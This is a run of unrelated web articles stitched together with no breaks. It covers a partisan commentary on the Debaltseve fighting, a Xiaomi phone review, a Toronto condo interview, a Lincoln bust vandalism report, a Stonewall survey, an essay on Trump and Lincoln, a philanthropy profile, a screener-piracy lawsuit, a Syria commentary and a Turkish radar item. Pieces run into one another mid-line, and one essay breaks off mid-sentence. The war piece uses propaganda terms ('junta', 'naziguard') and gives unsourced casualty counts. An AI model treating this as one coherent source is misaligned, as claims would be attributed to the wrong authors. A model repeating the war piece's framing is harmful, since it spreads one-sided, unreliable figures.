is still necessary to make more efforts and spill a lot of blood. If considering the fighting on the Debalcevo protrusion as a whole, then, despite significant faults of the command of the two sides and various tactical mishaps, both sides demonstrate stubbornness and resilience, especially in defense (not taking the naziguard into account). For now both sides are doing worse in offense than in defense, this is evident from the usually failing counter-attacks of the junta and from significant losses of the NAF during offensive actions. In this respect both sides learn from their mistakes and, as it is typical during the war, these mistakes, issues, and growing pains are paid for in blood. Taking the fighting for the airport into account, our forces lost up to 550-650 KIAs during the month, the enemy lost up to 1700-1900 KIAs, the difference was formed due to gigantic losses in the area of the airport during the first half of January. If the airport is set aside, then the losses of the sides are quite comparable and in general such an exchange is more likely to be advantageous for the AFU rather than the NAF, whose mobilization potential from local volunteers and the visitors from Russia is still somewhat lower than the junta's, which compensates losses by recruiting cannon fodder via mobilization (however, as practice shows the resilience of units with high proportion of fresh recruits is quite low and they are useful mostly for holding on to relatively calm locations of the front), the junta still has quite few seasoned and ready for active engagement units. Besides this, over a month of military action the enemy continued to destroy the Donbass infrastructure quite efficiently by carrying out artillery strikes on the frontline cities of the DPR and the LPR. This shelling wasn't stopped at this time, despite Zakharchenko's promises, moreover, they are getting more intensive. Thousands of homes, tens of factories were destroyed over the last month, hundreds of civilians were killed. In essence, a systemic war crime is being committed. The responsibility for it falls on the junta leadership and "partner Pete". In the end, the "urge for peace" and the attempts to stop the war in the Minsk format ended up with more victims and destruction. As it often happens, the attempts to avoid minor bloodletting led to a situation when there are rivers of blood. This is Yanukovich's syndrome of sorts. There will be a separate material on the political background of the current stage of the war.Original article: http://colonelcassad.livejournal.com/2025031.html (in Russian)Xiaomi has taken a different approach for the Indian market this year as it launched three smartphones catering to three different price segments, form factor as well as consumer needs. The most popular of the lot has been the Redmi Note 3 and at the time of writing this, it is arguably the best smartphone to buy under Rs 15,000.
The company launched its fourth handset a few days back called the Redmi 3S. It's targeted at consumers who want the best performance but have a tight budget of under Rs 10,000. The smartphone comes in two variants and we took the high-end model, the Redmi 3S Prime, for a spin. Here's what we thought of it.
Design and build: 8.5/10
If you are familiar with the Redmi Note 3, then you will notice a striking similarity in the design. The Redmi 3S Prime is more or less a compact version of the Redmi Note 3, and that’s a good thing. It has the same metal body with a matte finish and is curved all around. Definitely an excellent update over the Redmi 2 series, but come to think of it Xiaomi has played safe with overall design language.
At the front, a glass panel covers the entire face of the smartphone including the display, capacitive Android navigation buttons, the proximity and light sensors and the front facing camera. There is a clean slit for the earpiece which sits above the display. A raised chrome lining surrounds the front which should help in reducing damage when the smartphone is kept facing down.
Going around the smartphone, the volume and power button are placed on the right, while the hybrid SIM card tray is on the left. At the bottom is the microUSB port (no Type-C yet) and microphone while on the top is the audio jack, an infrared blaster and the secondary microphone.
The only significant difference between this and the Redmi Note 3 is the placement of the primary camera at the back. It is placed on the top left corner along with the LED flash (the camera on the Redmi Note 3 is more centrally placed), while the fingerprint scanner sits in the center, with the loudspeaker below.
It is quite an ergonomic handset as the curved edges offer a nice grip and feel to the smartphone. It doesn't feel very heavy either, even after packing a gigantic 4,100mAH. In all fairness, there are hardly any smartphones in the market today that offer such an impressive build quality.
Display: 8/10
While the smartphone is compact, it has grown a bit when compared to its predecessors. The display measures at 5-inches and utilises an IPS LCD panel with a 1280x720 HD resolution; this means a pixel density of 294 PPI. The resolution might not sound that impressive, but the PPI is high enough to qualify as a Retina display. Sharpness and colors are appealing, and even viewing angles are quite good.
The display impressed us with its brightness as well. Sunlight readability was a lot better than many a smartphone selling at a similar or slightly higher price. The overall tone of the display is slightly towards the cooler side, but that can be adjusted as you get an option to turn on the ‘Reading Mode’ which basically adds a warm filter over the display. One can also fine tune it by adjusting in the 'Colours & Saturation' options, where the white balance as well as colour saturation can be adjusted.
Features: 8.5/10
At its price, the Xiaomi Redmi 3S Prime is quite a feature packed smartphone. Yes, it looks small and that is exactly why we appreciate Xiaomi’s efforts in stuffing the smartphone to its limits. There is a 5-inch HD IPS LCD display which looks neat and inside, there is a new Qualcomm Snapdragon 430 octa-core processor which is clocked at 1.4GHz. You also get 3GB RAM and 32GB of internal storage. The storage can be expanded further using a microSD card of up to 256GB in size. The camera department comprises a 13MP f/2.0 aperture camera with PDAF and an LED flash and at the front there is a 5MP unit with an f/2.0 aperture.
The rest of the features include 4G LTE support, Wi-Fi 802.11 b/g/n, Bluetooth v4.1, GPS, infrared blaster port, FM Radio and microUSB port. The handset runs on Android 6.0 Marshmallow with MIUI 7 and rounding it off is a mighty 4,100mAh battery which is a tiny bit larger than the Redmi Note 3. The only thing missing is Wi-Fi 802.11 ac support, that shouldn't be a big deal at this price.
OS: 7.5/10
The Redmi 3S Prime comes with MIUI 7 layered on top of Android 6.0 Marshmallow. We expected that it would come with the new, updated version of MIUI, but it will be updated at a later stage. Like all Xiaomi devices, the UI feels smooth. The menus, transitions and animations are appealing and apps load quickly without any issues.
Now we have mentioned a few things in the past about how the UI needs a bit of polishing. For instance, certain apps don’t show notifications until you open them. That can be fixed, but it requires digging in the battery optimisations, auto-start management and notification management options. Other issues that hamper the experience, especially if you are coming from stock Android, include the lack of Google Now on tap features and a different approach for menus, settings and so on.
There are hardly any Google apps pre-installed so if you rely heavily on them, you will have to manually download them from the Play Store. The Security app is an MIUI staple and is very useful. It keeps tabs on most of the activities of the system and includes a system junk and cache cleaner, a battery manager, data manager, a virus scanner, contacts block list and a permissions manager. Apart from this, there are some themes, if you like personalising your device.
Performance: 8/10
The smartphone runs on an octa-core Snapdragon 430 SoC from Qualcomm, making it the first device in the country to run on this chip. It is clocked at 1.4GHz and is coupled with the new Adreno 505 GPU. It is definitely a good update from the previous versions but it isn't a powerhouse, so to speak. Resource hogging games like Asphalt 8 and Dead Trigger 2 push the SoC to its limits and minor frame drops are noticeable.
The processor can however, handle more casual games and everyday tasks with ease. Everyday usage and even multitasking was a no biggie since it packs in 3-gigs of RAM which was enough to open 10-12 apps at the same time.
It doesn’t heat up that much either, considering it has eight cores, the only one or two times we noticed a considerable amount of heating was when we kept the screen on full brightness and played Pokémon GO for about 2-3 hours straight. Another instance was when we recorded a long, Full HD video with the rear camera.
Camera 7.5/10
In the photography department Xiaomi offers a 13MP rear camera on the Redmi 3S Prime featuring an f/2.0 aperture lens, phase detection autofocus and an LED flash. At this price point we can't expect superior image quality of course, but the camera gets the basics right. Bright and well lit conditions offer favourable quality but as soon as you move indoors or under low light, there is visible noise and loss of details. Focusing is fairly fast, but it did seem to struggle when we tried taking some pictures indoors. Even the front 5MP camera produced average pictures and didn't offer a very crisp output.
The cameras have the capability to shoot 1080p videos which, again, are just about OK. To be very honest the smartphone is quite affordable and for that the cameras are not bad at all.
Battery: 9/10
There have been attempts in the past by other companies like Asus and Lenovo to make smartphones equipped with high-capacity batteries, but the Redmi 3S Prime is a clear winner. A 4,100mAH battery in such a sleek casing is an achievement in itself. On top of that, the company doesn’t give false information and clearly mentioned that this battery will go on for two days of light usage and up to one full day of heavy usage. The claims are correct and we were impressed by the battery performance of the handset. It supports fast charging as well so in about 2 hours you go from 0-80 percent. Bear in mind that 80 percent in this case is 3,280mAh, which is more than the capacity offered by a lot of phones today. A non-stop session of Pokemon GO lasted for about 7 hours on the smartphone which is excellent!
Conclusion:
I'm pleasantly surprised by the device. The design is excellent, the hardware is very well balanced and even the performance feels great for a budget smartphone. The hero feature is definitely the massive battery, something which almost every smartphone user would love and appreciate. The camera and the UI are the only let downs but you are paying less than ten grand, so even that's acceptable. The Redmi 3S Prime is once again an excellent smartphone from Xiaomi and is also the best smartphone to buy under a budget of Rs. 10,000.
Priced at Rs 8,999 it comes very close to the base variant of the Redmi Note 3, but Xiaomi has positioned the Redmi series as a device for users who don't require a lot of power at their disposal. There is also the Redmi 3S which ditches the fingerprint scanner and has 16GB of storage and 2GB of RAM priced at Rs 6,999, which is again, great value for money. The Redmi 3S Prime has definitely earned our seal of approval.
Tech2 is now on WhatsApp. For all the buzz on the latest tech and science, sign up for our WhatsApp services. Just go to Tech2.com/Whatsapp and hit the Subscribe button.The man known as Toronto's "Condo King" estimates foreign owners make up about half of the city's condominium market.
But realtor and developer Brad Lamb argues that doesn't mean there are scores of empty condos in Toronto that aren't or can't be rented.
"There is a big interest in Toronto as a safe zone to put money," said Lamb in an interview with The Exchange. "But we have a very, very vibrant rental condominium market in Toronto. Our vacancy rate is around one per cent, which is chronically bad for tenants meaning it's hard for tenants to get good value."
Capturing the foreign-owner segment of the condo market has been problematic. Just last week, the Canada Mortgage and Housing Corporation released a snapshot of the condo markets in Toronto and Vancouver and found only 17 per cent are investors. But the survey drew criticism for leaving out any measure of foreign investors — the cash-rich people who live abroad and snap up Canadian condos.
Luring families, parks into condo complexes
Lamb believes it's "inevitable" that every Toronto resident, except the wealthy, will be living in a condo within 20 years. That's why the industry, according to Lamb, is making a stronger effort to lure families into high-rise buildings.
"Within Toronto, we are now forced... to provide 10 per cent of all the stock as a three-bedroom stock. That's a good step in the right direction," said Lamb.
In terms of meeting the growing need for green space, Lamb says that's up to the city.
"Developers pay 10 per cent of the land price to the city for park generation. Are they building new parks? I'm not seeing them," he said.
Lamb's brokerage, Brad J. Lamb Realty Inc., has sold more than $1 billion worth of condos in Toronto, Ottawa, Calgary and Edmonton.Chicago Lincoln Bust Vandalized
(CBS) – An obscure Lincoln statue on Chicago’s South Side – one that’s been there for decades – was vandalized and set on fire this week.
The large bust of Abraham Lincoln at the corner of 69th and Wolcott has been a staple of the West Englewood neighborhood – an unofficial landmark, locals say.
But earlier this week, someone vandalized the weathered statue, which already was chipped. Ward 15 Ald. Ray Lopez says someone wrapped the bust in tar paper and lit it on fire.
For neighbors, it’s hard to believe.
“To see this defaced like that, burned up like that, it’s a disgrace to the whole neighborhood,” Derrick Pittman says.
It’s even more upsetting for Jack McGrath, who says his father helped placed it in the neighborhood in the 1920s. He says the elder McGrath found the piece in a salvage yard, and he and another man provided the base for it.
City historians say the Lincoln likeness may have dovetailed with a business, such as a gas station, at the corner.
Ald. Lopez says he’d like to see the piece restored.
“It belongs here,” McGrath says.Many lesbian, gay and bisexual people continue to live in fear of prejudice, despite the significant progress in recent years to improve equality.
Gay in Britain, a report by the campaign group Stonewall, suggests that large numbers of Britain's 3.7 million gay people fear they will be discriminated against if they stand for political office, seek to foster a child or look to become a magistrate.
Three in five of those questioned in the YouGov poll of just over 2,000 gay people said they expected their child would be bullied in primary school if it were known they had gay parents; more than four in five expected the same if they had a child in secondary school. Seven in 10 people expected to face barriers because of their sexual orientation if they applied to become a school governor.
Despite the move to legalise gay marriage, the survey also suggests the Conservative party still has some way to go in winning the support of gay, bisexual and lesbian people. Three-quarters think they would face barriers from the Tories if they wanted to stand as an MP, while more than a third would expect to face barriers from the Labour party and more than a quarter from the Lib Dems.
Both the coalition government and recent Labour administrations have done much to advance the cause of gay equality, but it appears many gay people fear societal attitudes lag behind parliament.
"Completion of our work on marriage means that one strand of Stonewall's domestic focus – legislative equality – is effectively complete," said Stonewall chief executive Ben Summerskill. "But this polling demonstrates starkly that changing laws doesn't change attitudes and lives overnight."
Discrimination hit the headlines again last week when a driver with the London minicab firm Addison Lee was suspended while he was investigated for allegedly calling a gay couple "dirty" and kicking them out of his cab after they held hands.
The report found that one in five lesbian, gay and bisexual employees have experienced verbal bullying from colleagues, customers or service users in the past five years. A quarter said they were "not at all open" to colleagues about their sexual orientation.
It warns that the criminal justice system presents barriers for lesbian, gay and bisexual people who fear they will be treated worse than their heterosexual counterparts, whether they are reporting crimes, suspected of committing crimes or dealing with police and prison staff. Almost six in 10 gay and bisexual men and almost half of lesbian and bisexual women believe they would be treated worse by a prison officer than a heterosexual person.
Eight in 10 lesbian, gay and bisexual people would expect to face barriers if they applied to become foster parents. Almost half expected to be treated worse than a heterosexual person by an adoption agency if they want to adopt a child.
"Gay taxpayers contribute £40bn a year to the cost of Britain's public services," Summerskill said. "They should be able to have confidence that they will receive the services they need when accessing schools, hospitals or policing. It's time the needs of this country's 3.7 million gay people, both as citizens and service-users, were properly met."
Stonewall said its report showed that, in contrast to claims made by anti-gay campaigners, there is overwhelming support among gay people for equal marriage. Nine in 10 lesbian, gay and bisexual people support the government's recent moves to extend civil marriage to same-sex couples.
Significantly, two culturally important areas of British society appear to be of concern to gay people. Stonewall said sport, with its significant place in British life, had failed to create a welcoming environment for gay people.
Its survey found more than six in 10 gay and bisexual men and four in 10 lesbians and bisexual women expect to experience homophobia if they take part in a team sport and are open about their sexuality. And almost half think that television's portrayal of lesbian, gay and bisexual people is unrealistic.Watching the rise of Donald Trump brings to mind the story of Francis J. McIntosh’s demise.
McIntosh was a Mississippi River boatman who disembarked, one morning in the spring of 1836, at the port of St. Louis. He had a rendezvous planned with a chambermaid there, but he didn’t make it far before he got into a scuffle with a couple of constables, who had been in hot pursuit of another sailor, who was wanted for brawling. McIntosh was arrested for interfering with law enforcement, hauled before a justice of the peace, then marched off to jail. Along the way, he asked how long he’d be held there, and was told: at least five years. At that, McIntosh drew a knife, stabbed one policeman to death, badly wounded another, and bolted. Word spread, and a mob gathered. McIntosh was tracked down to an outhouse where he was hiding, and hustled back to jail.
Meanwhile, a much larger mob collected on the street, where, as Elijah P. Lovejoy, the editor of the St. Louis Observer, wrote a few days later, the body of the murdered policeman “lay weltering in his blood.” The mob soon moved on to storm the jail and tore McIntosh from his cell; it brought him to the edge of town, chained him to a tree, and built a fire at his feet. Until then, Lovejoy wrote, hardly a word had been spoken by the mob or McIntosh, but when the flames were lit he pleaded to be shot instead, then gave up and sang hymns as he was slowly roasted to death. His charred remains were then hung from a branch for all to see, and “a rabble of boys” who had taken in the whole spectacle took turns throwing stones at McIntosh’s head to see who could break it.
When a grand jury was convened to consider whether the members of the mob had committed any crimes, the presiding judge changed the subject and railed against McIntosh—a free mulatto—as proof of the perils of the anti-slavery movement. The judge’s name was Luke Lawless, and he insinuated that McIntosh had acted as a sort of terrorist, under the influence of the newspaperman Lovejoy, who was a steadfast abolitionist. To Judge Lawless, “the free negro” was “the enemy,” and he made sure that nobody was charged for McIntosh’s lynching.
For most of Missouri’s press, that was as it should be. But to Lovejoy, it was as if the Constitution itself—and the order it was supposed to impose—had been torched along with McIntosh. Lovejoy had no problem calling the dead boatman a “blood-thirsty wretch” who deserved a death penalty in a court of law. The issue, in his view, was the broader slide into mob rule happening throughout America, and he wrote, “When the question lies between justice regularly administered or the wild vengeance of a mob then there is but one side on which the patriot and Christian can rally.” So Lovejoy mounted a campaign against “mobology,” and before long a mob ran him out of town. He then set up shop a little ways upriver, in Alton, Illinois, where he lasted about a year before a mob came to destroy his printing press, and he was shot dead trying to stop it.
McIntosh and Lovejoy live on in memory today chiefly because, a few months later, in a speech to the Young Men’s Lyceum of Springfield, Illinois, a twenty-eight-year-old lawyer named Abraham Lincoln invoked them as American martyrs. Hardly anyone in the country had heard of Lincoln before, but his speech at the Lyceum started to change that. His topic for the occasion, “The Perpetuation of Our Political Institutions,” could hardly have sounded less promising, but to Lincoln it raised a fundamental question: What was the greatest threat to the Republic?
He did not fear a foreign attack: “Shall we expect some transatlantic military giant, to step the Ocean, and crush us at a blow? Never! All the armies of Europe, Asia and Africa combined, with all the treasure of the earth (our own excepted) in their military chest; with a Bonaparte for a commander, could not by force, take a drink from the Ohio, or make a track on the Blue Ridge, in a trial of a thousand years.”
No, Lincoln said, the only danger that America really needed to fear would come from within: “If destruction be our lot, we must ourselves be its author and finisher. As a nation of freemen, we must live through all time, or die by suicide.”
Lincoln was not speaking hypothetically. He saw precisely such “ill-omen” in the growing disregard for the law in favor of lynch-mob vigilantism: “Accounts of outrages committed by mobs, form the every-day news of the times. They have pervaded the country, from New England to Louisiana; they are neither peculiar to the eternal snows of the former, nor the burning suns of the latter... neither are they confined to the slave-holding, or the non-slave-holding States.”
Lincoln said that he did not want to dwell on the horrors, but then he laid the horrors on pretty thick. For example, he said, in Mississippi, the mobs began by hanging gamblers—even though gambling was allowed by law— then “negroes, suspected of conspiring to raise an insurrection,” then “white men, supposed to be leagued with the negroes,” and then random strangers visiting from other states, until “dead men were seen literally dangling from the boughs of trees upon every road side; and in numbers almost sufficient, to rival the native Spanish moss of the country, as a drapery of the forest.”
As for McIntosh, Lincoln said, his story was “perhaps the most highly tragic,” considering the speed at which he went from being “a freeman, attending to his own business, and at peace with the world,” to being lynched. Lincoln argued, as Lovejoy had, that the fact that McIntosh would surely have been sentenced to death anyway only made his lynching more offensive. To Lincoln, the offense was lawlessness, and he argued that both those who indulged in lawlessness and those who fell prey to it would eventually come to regard “Government as their deadliest bane... and pray for nothing so much as its total annihilation.” It was this feeling of “alienation” rather than “attachment” to public institutions that Lincoln feared most in the “mobocratic spirit.”
However far we may be today from the scenes of violence that Lincoln described, it’s easy to see the danger he was talking about gathering force across contemporary America. Donald Trump personifies the mobocratic spirit; he fuels it and is fuelled by it, though it is doubtful that he can control it. All the elements are there: the incessant, escalating lust for violence; the instinct for mobilizing a mob to take the law into its own hands; the claim that whole groups are the enemy; the belief that those who are not with the mob forfeit all protection from the mob and invite attack; the attribution of hostile conspiracies to peaceful independent actors; the contempt for evidence, as if accurate information and honest adjudication of competing claims were dirty tricks contrived to disadvantage the mob; the vilification of the press as hooligans who deserve to be beaten, if not killed; an all-encompassing animosity toward the government and its institutions; in short, an ever-intensifying lawlessness.
This ugliness and violence and destructiveness is all that inflates Trump. His support reflects deep strains of preëxisting disenfranchisement, alienation, and division, but, although Trump gives echo to these passions and has an uncanny genius for harnessing them as his engine, he proposes no coherent remedy, only swagger: there will be blood. His success thus far reflects a world-upside-down sort of triumph, in which every word and deed |
her.
“Cari and I are stewards of this capital,” Moskovitz wrote in a Quora chat in 2013 shortly before they married. In response to a question about what it feels like to be a billionaire, he said: “It’s pooled up around us right now, but it belongs to the world. We intend not to have much left when we die.”
Today, Tuna and Moskovitz have a reputation for being among Silicon Valley’s most low-key billionaires. Friends and colleagues mention that they prefer to spend their free time doing yoga, meditating and taking walks. They fly coach, share a used car and bike or take public transportation to work.
Paul Brest, a Stanford law professor who is the former head of the William and Flora Hewlett Foundation, said their unassuming lifestyle translates to their approach to philanthropy.
“There’s nothing wrong with naming a foundation after yourself, but I think it’s indicative about their thinking about philanthropy that they named theirs Good Ventures,” Brest said. “It highlights how the outcomes matter more than themselves.”
Over the past three years, Tuna and Moskovitz have quietly given away 61 grants worth nearly $45 million through their foundation. (This is Tuna’s first major interview.)
“Old souls,” is how Laura Arrillaga-Andreessen, a personal friend and mentor, describes the couple.
She said Tuna herself is “deeply spiritual and has an immense sense of responsibility” for the task she has been given. Arrillaga-Andreessen, wife of Netscape founder Marc Andreessen and who teaches courses at Stanford about philanthropy, has advised numerous tech billionaires — including Tuna and Moskovitz — about their charitable work.
Arrillaga-Andreessen said Tuna’s leadership of the couple’s foundation leverages the “seriousness, due diligence, investigation, level of public transparency and integrity” that Tuna embraced in her journalism.
Tuna herself sometimes wonders if she’s a little too cautious.
“Dustin has more of a natural appetite for risk than I do,” she said, adding that “For me feeling like a steward of the resources sometimes makes me feel a little risk averse, and I have to consciously work against that.”
The lives you can save
Early in her research, Tuna came across Peter Singer’s “The Life You Can Save” — a book she cites as the catalyst for their approach. An Australian philosopher, Singer makes the moral case for giving, arguing that many people in the developed world can do so at little cost to themselves.
Tuna and Moskovitz soon found a kindred spirit in a Harvard grad named Holden Karnofsky, now 33, whom they met through a mutual friend.
A former hedge fund analyst, Karnofsky was frustrated that he could not compare the impact of different charities when he tried to give away $5,000 of his own one year. So he and a colleague, Elie Hassenfeld, quit their jobs and founded an independent, nonprofit charity evaluator that they dubbed GiveWell.
“There is an infinite amount to do and very little philanthropy, so how do you make good choices?” Karnofsky said.
Tuna and Karnofsky approached the challenge like reporter-scientists, partnering to collect data on the universe of possible causes, evaluate them and share their findings online for anyone interested to see. As part of a joint venture between Good Ventures and GiveWell that they called the Open Philanthropy Project, they talked to foundation heads, technical experts, historians, biologists, former government officials, political campaign managers and many others.
In face-to-face meetings, Tuna has a reputation for being a persistent and tough interviewer.
“She exhibits a very healthy skepticism,” said Susan Urahn, executive vice president at Pew Charitable Trusts who has met with Tuna several times. “She takes nothing at face value.”
Karnofsky said that Tuna prioritizes “honesty and directness.” “I think she’s often frustrated by people in the nonprofit world who are overly positive, prone to flattery and hesitant to come out and saying what they think and what they want,” he said.
When it comes to some of their smaller, early grants, the group has been brutally honest in assessing its disappointments — an openness that has caused some tensions with nonprofits who aren’t used to such scrutiny.
“One thing I learned early on is that a well-placed donation can transform someone’s life, but a poorly placed donation can have no impact or even do harm,” Tuna said. “But it’s not at all obvious from charities’ marketing which are the best buys.”
The centerpiece of the team’s investigation is a giant spreadsheet, the origins of which can be traced to a Google Doc list Tuna began in 2011. She added causes as she thought of them: Malaria, microfinance, marijuana policy. The arts. Nuclear security, climate change and on and on until there were hundreds of entries.
Each topic is assigned to one of four researchers who work full-time — which include Tuna, Karnofsky and two other young whizzes from the country’s top colleges. They conduct “shallow” investigations of the ideas that involve making a few phone calls with experts and reading a few smart papers or journal articles on the subject.
They consider three questions when deciding whether a cause has promise. First, importance — how many people’s lives would be affected and by how much? Second, could it be solved, in the short-term and long-term? And third, how crowded is the space? If a lot of smart people are already thinking about the issue, the marginal impact could be less than in other areas.
If a topic passes this initial test, an in-depth investigation follows. That can take months and includes discussions with as many as 50 people in the field and an attempt to home in on what kind of specific project could make a difference.
Catastrophic risk and more
Asteroids, it turned out, were easy to rule out.
The team quickly learned that NASA tracks the big ones and the probability of mass destruction by the smaller ones is very small — 1 in 100 million for an extinction-level event like the one that killed the dinosaurs and 1 in 700,000 for one that would be considered a global catastrophe.
“Basically, NASA has this covered,” they concluded.
Other contenders seem inspired by old-time science fiction novels, though some are suddenly relevant because of technological advances: super volcanoes (risk of a catastrophe appears low), nuclear security (possible substantial risk of civilization-threatening damage), artificial intelligence (whose responsibility is it to think about what happens if computers become self-aware?), antibiotic resistance (issue gets a moderate amount of attention), climate change (can we geo-engineer our way out of this crisis by manipulating our atmosphere to reflect sunlight and make things cooler — or would that just make things worse?)
“We want to think about not only the people alive today but those will be alive in the future,” Tuna said.
Biosecurity — the constellation of issues around pandemics, bioterrorism, biological weapons and biotech research that could be used to inflict great harm, according to the group’s definition — may be among the most ripe for investment.
While “natural” pandemics like the flu seemed like the biggest threat right now, the team worried whether new technologies could pose a greater risk in time. The government has heavily invested in solutions, but everyone the team interviewed agreed that more needed to be done to, say, increase disease surveillance and strengthen public health systems in developing countries.
Another area the team has been exploring aggressively is U.S. policy.
A political science major in college, Tuna has been interested in what kinds of problems could be solved and which levers could be pulled to speed reform given the complexity of the political system in the country. In November, she organized an invitation-only brainstorming session for about a dozen policy wonks at a hotel in Washington where she got feedback on projects she is thinking about funding.
One of the topics they zeroed in on was criminal justice reform.
Tuna and her team were struck by two statistics: The United States incarcerates a larger percentage than almost any other country in the world at great fiscal cost and it has highest rate of criminal homicides in the developed world. Clearly something wasn’t working.
The team wondered whether there was way to reduce the number of people in prison in a way that is neutral or, better yet, positive for public safety. Could the solution lie in policing practices? Or other ways of stopping people from entering the system? Sentencing reform? Or something they haven’t thought of yet?
“There is growing interest on both sides of the aisle on reducing incarceration, and you don’t have that kind of opportunity for bipartisanship on a lot of issues right now,” Tuna said after the meeting.
Matt Cohler, a general partner at Benchmark, one of Silicon Valley’s most storied venture capital firms and a former colleague of Moskovitz at Facebook, said Tuna’s challenge is to say no to worthy causes because something else may be even more worthy.
“There are so many important things that need to be done in the world. People are approaching her all the time for help,” Cohler said. “It’s hard to stay focused and be very research-driven and thoughtful, and I admire that she has been able to do that.”
Tuna said that while she and Moskovitz’s approach may be analytical, that doesn’t mean there isn’t any emotion in their work.
To the contrary, “we’re really optimistic about the way the world is heading, about humanity’s progress,” she said.
“The world is a big, complicated system,” Tuna said, “and I feel we need to be as smart as we can be in order to stand a chance of having an impact with the resources we have — which are significant in one sense but really small in comparison to the kinds of the problems we want to work on.”Warner Bros. says a talent agency effectively ran its own pirate site when it ripped DVD screeners and streamed them to associates via Google servers. In a lawsuit filed Monday, Innovative Artists stands accused of copyright infringement and breaching the DMCA after screeners under its control leaked to torrent sites.
When so-called DVD screeners of the latest movies leak to pirate sites, studios are among the first to highlight the damaging effects. Often the copies are of excellent quality, a gift to millions of file-sharers worldwide but a potential headache for subsequent official distribution efforts.
While studios have had the means to track screeners back to their sources for a long time, when compared to the number of leaks it is relatively rare for industry insiders to face civil legal action. That changed yesterday when Warner Bros. Entertainment sued talent agency Innovative Artists.
In a lawsuit filed in a California federal court, Warner accuses the agency of effectively setting up its own pirate site, stocked with rips of DVD screeners that should have been kept secure.
“Beginning in late 2015, Innovative Artists set up and operated an illegal digital distribution platform that copied movies and then distributed copies and streamed public performances of those movies to numerous people inside and outside of the agency,” the complaint (pdf) reads.
“Innovative Artists stocked its platform with copies of Plaintiff’s works, including copies that Innovative Artists made by ripping awards consideration ‘screener’ DVDs that Plaintiff sent to the agency to deliver to one of its clients.”
Given its position in the industry, Innovative Artists should have known better than to upload content, Warner’s lawyers write.
“The actions Plaintiff complains of are blatantly illegal. That illegality would be obvious to anyone, but especially to Innovative Artists, a talent agency that claims to promote the interests of actors, writers, directors and others whose livelihoods depend critically on respect for copyright,” the complaint adds.
Only making matters worse is the fact that some of the DVD screeners ripped by the agency leaked out beyond its platform, which was actually a shared folder on its Google Drive account.
According to the complaint, Warner Bros. discovered something was amiss when content security company Deluxe Entertainment Services advised that screener copies of Creed and In the Heart of the Sea had appeared on file-sharing sites.
Both movies were made available by Hive-CM8, a release outfit responsible for many leaks during December 2015. Crucially, both contained watermarks that enabled them to be tracked back to the source.
“Because the screeners were ‘watermarked’ — embedded with markers that identified their intended recipients — Plaintiff traced the copies to screeners that Plaintiff had sent to an Innovative Artists client, in care of the agency,” the complaint notes.
“Instead of forwarding the screeners directly to its client, Innovative Artists used illegal ripping software to bypass the technical measures that prevent access to and copying of the content on DVDs. Innovative Artists then copied the movies to its digital distribution platform, where those copies became available for immediate downloading and streaming along with infringing copies of many other copyrighted movies.”
While the allegations are damaging enough already, they don’t stop there. The complaint alleges that the agency also gave others access to the screeners stored on Google Drive in return for access to other titles not yet in its possession.
“Innovative Artists traded access to some of its unauthorized digital copies of movies in exchange for unauthorized copies of content possessed by third parties. For example, in one case, Innovative Artists granted an assistant at another company access to the digital distribution platform because the assistant had provided a screener to Innovative Artists for a title that was not already on the platform,” Warner writes.
For copyright infringement, Warner Bros. seeks actual or statutory damages, up to the maximum of $150,000 for willful infringement, attorneys’ fees, and an injunction. For the breaches of anti-circumvention provisions when Innovative ripped the DVDs, the studio claims the maximum statutory damages as permitted by the DMCA.
Update: Innovative Artists has issued an apology (via Deadline)
Innovative Artists has fully cooperated with Warner Bros. from the first moment Warner Bros. informed Innovative that two award screener movies had been found on an Internet bit torrent site in December 2015.
Innovative immediately permitted Warner Bros. to enter it’s offices, interview it’s employees, review its databases, and fully investigate the issues.
As Warner Bros. well-knows, Innovative management immediately shut down all access to award screeners in December 2015 and Innovative immediately ceased any further activity that is the subject of the complaint.
Warner Bros. is well aware, from its past experience with other industry entities, the sharing of award screeners is commonplace within the Hollywood community. Innovative was surprised, given its full cooperation with Warner Bros. investigation, that the complaint was filed without any communication from Warner Bros. without any prior contact with Innovative to resolve the claims.
Notwithstanding that fact, Innovative is sorry for the improper sharing of the screener movies and will seek to resolve this matter with Warner Bros. on fair and reasonable terms as soon as possible. Innovative will have no further comment on this matter.... please read this article by Chuck Spinney, out today in Counterpunch. (And before you ask: No, I don't agree with everything in Counterpunch, nor every view of Spinney's, nor even everything in the Atlantic. But I do agree with this.)
Spinney, whom I have known and respected for his national-security views since I wrote about him in National Defense, makes an important specific point and an even more important general one.
The specific point concerns the "Kosovo model," the idea that the Clinton-era bombing campaign on Kosovo illustrates how pinpoint, punitive strikes might succeed in Syria. Spinney begins his piece thus:
I found it truly scary to read that some high officials in the Obama Administration are so disconnected from reality that they consider the 1999 war in Kosovo to be a precedent for justifying limited cruise missile strikes in Syria.
He goes on to explain how oversimplified he considers the current "Kosovo worked!" version of history to be. For instance:
In 1999, U.S. military planners and the Clinton Administration predicted that a “precision” bombing campaign would coerce Slobodan Milošević into resolving the Kosovo Crisis by complying with NATO demands after only two to three days of precision bombardment. But the air campaign ground on for seventy-eight grueling days... Milošević did not react like a predictable mechanical thermostat. He chose instead to escalate rapidly–whereupon the “carefully calibrated” limited bombing campaign aimed at changing one man’s behavior exploded into a general war against the Serbian people. NATO had expanded the target list to include the Serbian power grid, chemical plants, Danube bridges, TV stations, and civilian infrastructure, not to mention military targets in Kosovo. Predictably, the war settled into a grinding siege of attrition, and planners worried about running out of cruise missiles.
Fred Kaplan of Slate, whom I also know and respect, has a more positive net assessment of the Kosovo campaign. But he too emphasizes its imprecision and ambiguity -- and even if you grant his version, I think Spinney is right about the larger pathology of U.S. military response through the post-Soviet era. He says it comes from the "marriage of two fatally-flawed ideas":
* Coercive diplomacy assumes that carefully calibrated doses of punishment will persuade any adversary, whether an individual terrorist or a national government, to act in a way that we would define as acceptable. * Limited precision bombardment assumes we can administer those doses precisely on selected “high-value” targets using guided weapons, fired from a safe distance, with no friendly casualties, and little unintended damage. This marriage of pop psychology and bombing lionizes war on the cheap, and it increases our country’s addiction to strategically counterproductive drive-by shootings with cruise missiles and precision-guided bombs.
That sounds polemical but to me seems accurate. For 20 years now we have seen this pattern:Turkey accepts MİLDAR millimetric wave radar for T129 ATAK
Turkey’s state-owned Anadolu Agency reports that the Turkish Undersecretariat of Defence Industries (SSM) has formally accepted the Meteksan Savunma MİLDAR millimetric wave (mmW) radar for use on the Turkish Aerospace Industries (TAI) T129 ATAK attack helicopter.
The SSM commissioned Meteksan to develop the MİLDAR in 2013. In December 2016, Meteksan and TAI began testing the MİLDAR from onboard the T129 ATAK. Meteksan aimed to see serial production of the MİLDAR commence in 2018 or 2019.
